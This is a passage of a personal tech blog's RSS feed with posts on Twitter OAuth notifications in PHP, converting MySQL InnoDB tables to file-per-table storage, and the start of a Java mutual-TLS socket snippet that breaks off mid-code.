<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Gzip+mysqldump+output+and+gunzip+it+for+import+@+http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Fgzip-mysqldump-output-and-gunzip-it-for-import%2F&amp;t=Gzip+mysqldump+output+and+gunzip+it+for+import" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d154').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d154').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/gzip-mysqldump-output-and-gunzip-it-for-import/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Using twitter for notifications via PHP</title>
		<link>http://www.zayinkrige.com/using-twitter-for-notifications-via-php/</link>
		<comments>http://www.zayinkrige.com/using-twitter-for-notifications-via-php/#comments</comments>
		<pubDate>Thu, 03 Feb 2011 08:11:11 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=146</guid>
		<description><![CDATA[Previously I was using SMS for notifications of failures on certain mission critical business servers. I recently decided to use twitter instead. The main reason being that twitter is free, and with the twitter for iphone app, I get push notifications immediately (actually faster than SMS). Twitter API uses OAUTH, so its a little tricky, [...]]]></description>
			<content:encoded><![CDATA[<p>Previously I was using SMS for notifications of failures on certain mission critical business servers. I recently decided to use twitter instead. The main reason being that twitter is free, and with the twitter for iphone app, I get push notifications immediately (actually faster than SMS).</p>
<p>Twitter API uses OAUTH, so its a little tricky, but not wildly complex &#8211; anyone with basic PHP knowledge should be able to implement it</p>
<p>Heres how to do it</p>
<p>* go to dev.twitter.com &#8211; sign in with the username you want to send notifications from<br />
* click on &#8220;Register an app&#8221;<br />
* Fill in the fields &#8211; dont worry about a callback url &#8211; we wont be using it<br />
* change access type to &#8220;Read &#038; Write&#8221;<br />
* once you have completed the registration, click &#8220;view your applications&#8221; on the right hand side<br />
* click &#8220;edit details&#8221;<br />
* click &#8220;application detail&#8221; on the right<br />
* copy &#8220;consumer key&#8221; and &#8220;consumer secret&#8221;<br />
* click on &#8220;My access token&#8221;<br />
* copy &#8220;Access token&#8221; and &#8220;Access token secret&#8221;</p>
<p>Ok &#8211; now we have all the info needed to start.</p>
<p>For the twitter integration we will use <a href="https://github.com/abraham/twitteroauth/zipball/0.2.0-beta3">Abraham Twitter OAuth library</a></p>
<p>The only 2 files you need are &#8220;twitteroauth/OAuth.php&#8221; and &#8220;twitteroauth/twitteroauth.php&#8221;. Stick these wherever you want. For purposes of this demo, I&#8217;m putting them in the same folder as my index.php</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p146code14'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p14614"><td class="code" id="p146code14"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">require_once</span> <span style="color: #0000ff;">'TwitterOAuth.php'</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000088;">$CONSUMER_KEY</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;????&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$CONSUMER_SECRET</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;????&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$OAUTH_TOKEN</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;????&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$OAUTH_SECRET</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;????&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//create connection</span>
<span style="color: #000088;">$connection</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> TwitterOAuth<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CONSUMER_KEY</span><span style="color: #339933;">,</span> <span style="color: #000088;">$CONSUMER_SECRET</span><span style="color: #339933;">,</span> <span style="color: #000088;">$OAUTH_TOKEN</span><span style="color: #339933;">,</span> <span style="color: #000088;">$OAUTH_SECRET</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//verify account</span>
<span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'account/verify_credentials'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//post status update</span>
<span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'statuses/update'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'status'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;My first status update via twitter&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//mention someone</span>
<span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'statuses/update'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'status'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;@zayinkrige thanks for the blogpost&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//DM someone</span>
<span style="color: #000088;">$connection</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'statuses/update'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'status'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">&quot;D zayinkrige thanks for the blogpost&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Thats pretty much all there is to using twitter. For a full list of twitter  api functions, visit http://api.twitter.com</p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d146').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d146" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;submitHeadline=Using+twitter+for+notifications+via+PHP&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;title=Using+twitter+for+notifications+via+PHP" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;title=Using+twitter+for+notifications+via+PHP" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;title=Using+twitter+for+notifications+via+PHP" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;bm_description=Using+twitter+for+notifications+via+PHP" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;T=Using+twitter+for+notifications+via+PHP" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;title=Using+twitter+for+notifications+via+PHP" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;title=Using+twitter+for+notifications+via+PHP" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Using+twitter+for+notifications+via+PHP+@+http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-twitter-for-notifications-via-php%2F&amp;t=Using+twitter+for+notifications+via+PHP" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d146').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d146').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/using-twitter-for-notifications-via-php/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Getting MYSQL/InnoDB to create file per table</title>
		<link>http://www.zayinkrige.com/getting-mysqlinnodb-to-create-file-per-table/</link>
		<comments>http://www.zayinkrige.com/getting-mysqlinnodb-to-create-file-per-table/#comments</comments>
		<pubDate>Fri, 31 Dec 2010 11:56:37 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=143</guid>
		<description><![CDATA[Convert Mysql/innodb tables to file per table storage]]></description>
			<content:encoded><![CDATA[<p>By default, MYSQL with INNODB engine doesn&#8217;t create 1 file per table, but rather stores everything in the system file.</p>
<p>Step 1:<br />
edit /etc/mysql/my.cnf</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p143code15'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p14315"><td class="code" id="p143code15"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#91;</span>mysqld<span style="color: #7a0874; font-weight: bold;">&#93;</span>
innodb_file_per_table</pre></td></tr></table></div>

<p>This will only enable file per table. It will not convert your existing innodb tables into files</p>
<p>There are a couple of ways of doing this</p>
<p>1st Method</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p143code16'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p14316"><td class="code" id="p143code16"><pre class="bash" style="font-family:monospace;">mysqldump <span style="color: #660033;">-udbuser</span> <span style="color: #660033;">-ppassword</span> db_name <span style="color: #000000; font-weight: bold;">&gt;</span> outfile.sql
mysql <span style="color: #660033;">-udbuser</span> <span style="color: #660033;">-ppassword</span> db_name <span style="color: #000000; font-weight: bold;">&lt;</span> outfile.sql</pre></td></tr></table></div>

<p>2nd Method &#8211; run this sql script for each table in your database</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p143code17'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p14317"><td class="code" id="p143code17"><pre class="bash" style="font-family:monospace;">ALTER TABLE tbl_name <span style="color: #007800;">ENGINE</span>=INNODB;</pre></td></tr></table></div>

<p>This means each table is stored in its own file.</p>
<p>Later on, you can look at moving each file to its own hard disk for performance gains</p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d143').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d143" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;submitHeadline=Getting+MYSQL%2FInnoDB+to+create+file+per+table&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;title=Getting+MYSQL%2FInnoDB+to+create+file+per+table" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;title=Getting+MYSQL%2FInnoDB+to+create+file+per+table" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;title=Getting+MYSQL%2FInnoDB+to+create+file+per+table" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;bm_description=Getting+MYSQL%2FInnoDB+to+create+file+per+table" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;T=Getting+MYSQL%2FInnoDB+to+create+file+per+table" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;title=Getting+MYSQL%2FInnoDB+to+create+file+per+table" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;title=Getting+MYSQL%2FInnoDB+to+create+file+per+table" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Getting+MYSQL%2FInnoDB+to+create+file+per+table+@+http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Fgetting-mysqlinnodb-to-create-file-per-table%2F&amp;t=Getting+MYSQL%2FInnoDB+to+create+file+per+table" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d143').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d143').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/getting-mysqlinnodb-to-create-file-per-table/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Encrypt tcp socket communications with Java</title>
		<link>http://www.zayinkrige.com/encrypt-tcp-socket-communications-with-java/</link>
		<comments>http://www.zayinkrige.com/encrypt-tcp-socket-communications-with-java/#comments</comments>
		<pubDate>Mon, 06 Dec 2010 18:33:03 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[java]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[socket]]></category>
		<category><![CDATA[ssl]]></category>
		<category><![CDATA[tcp]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=137</guid>
		<description><![CDATA[This snippet is for 2 way encrypted socket communications between us and a server. This is *NOT* for normal web HTTPS traffic. We must have the servers public certificate in our store They must have our public certificate in their store Our store must contain our private certificate and key ?View Code JAVAimport java.net.*; import [...]]]></description>
			<content:encoded><![CDATA[<p>This snippet is for 2 way encrypted socket communications between us and a server.</p>
<p>This is *NOT* for normal web HTTPS traffic. </p>
<li>We must have the servers public certificate in our store</li>
<li>They must have our public certificate in their store</li>
<li>Our store must contain our private certificate and key</li>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p137code19'); return false;">View Code</a> JAVA</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p13719"><td class="code" id="p137code19"><pre class="java" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.net.*</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">import</span> <span style="color: #006699;">java.security.*</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000000; font-weight: bold;">private</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asocket+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Socket</span></a> setupSocket<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
        <span style="color: #000000; font-weight: bold;">try</span>
        <span style="color: #009900;">&#123;</span>
